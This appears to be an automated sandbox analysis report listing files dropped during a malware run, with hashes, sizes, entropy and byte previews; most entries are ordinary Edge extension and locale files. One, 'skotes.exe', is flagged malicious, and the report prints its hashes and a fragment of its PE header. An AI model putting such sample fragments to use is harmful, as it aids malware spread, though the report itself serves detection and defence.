MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsCBFBKFIDHI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.949263891885973
Encrypted:	false
SSDEEP:	24576:7sK8LXOfFyi7iFo3mV1V5GlCqjS8ZpZUNmYc1QO758iFt1pXE6ZE4qoPpNq:7s3zKYi7iFUmV1yCqe8quV8iT06LN
MD5:	ADD4BF165F7138D46D9FB140A1237B9B
SHA1:	6AEE0AA45EC0CAC927F48EED41213D07ACE05E81
SHA-256:	5358EEC7605247602552DECA5B148BFD9E5C9880DCB09991E0DE9885D095653B
SHA-512:	08B581B5D9473C725AA33FE26F07CF291016B5F738A3A262E41D11CC2E0EDBB25BF4CAFD4A2859D30525CA90A46EEEDDF03F2160053E96D65DF5BFE8988742E0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....}.....@.................................W...k.......D................... eJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . *.........................@...iqclzlke......0.....................@...yhvedyov.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b46630a4-e4e2-4abf-b2f8-c56587b3b190.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c3ef172b-f5a6-4087-9a41-9a330bbd4f72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1560197
Entropy (8bit):	7.993172850908118
Encrypted:	true
SSDEEP:	24576:rBiEui7TeuFNfIw8QX3dr4ZpL0ZD5VU7HUtHSQQY3go5JVFy9+jRpdcbNoTMjIIx:GcJNfQQndrgWD5VU7oSjYXfVFyORPINr
MD5:	C19CCA8BA7F0BEA36A8E10DA8A985D70
SHA1:	990E3798646C0F3590199D89FA3F3D9769BB37FE
SHA-256:	F7B3C840DCD1CEA2638726FF542445BC9E8CDB949668AC44F68DDFBE74BABAA3
SHA-512:	4FE40B33B10229FDBEAF08396F198EDEDD019804B3ABA00F3E3ABE38561A6AC88A928FDB2600D7B2145F419CF640EC98E624CE74C139D4F807CDD7AC463CCDF4
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.397679946426222
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrZ:8e2Fa116uCntc5toYMdDM
MD5:	41E06ADBD431F1765AFC73FF9AF984A0
SHA1:	80957DB7DA64F89C149044C295D78E079EA09B16
SHA-256:	23E8FBF971FD210F0CD044EDFEE8E2C03A96F8CA1A7A09CF82BA3AADE3ABC9D6
SHA-512:	921913F8B2078AF4CCB31C0E1BB6906A077223228164F31B8CE0D23B6B8FA1BC2F29A1006D79B7165379F5625939AEA3C8AC259DCB6ECE1B5C8E46EFAC10F7C9
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir2504_1780171338\56a93870-e292-4715-a718-d2379d45e316.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir2504_1780171338\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir2504_1780171338\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2504_1780171338\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2504_1780171338\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\3e011475-a68d-453d-bda5-46fa0f31c935.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
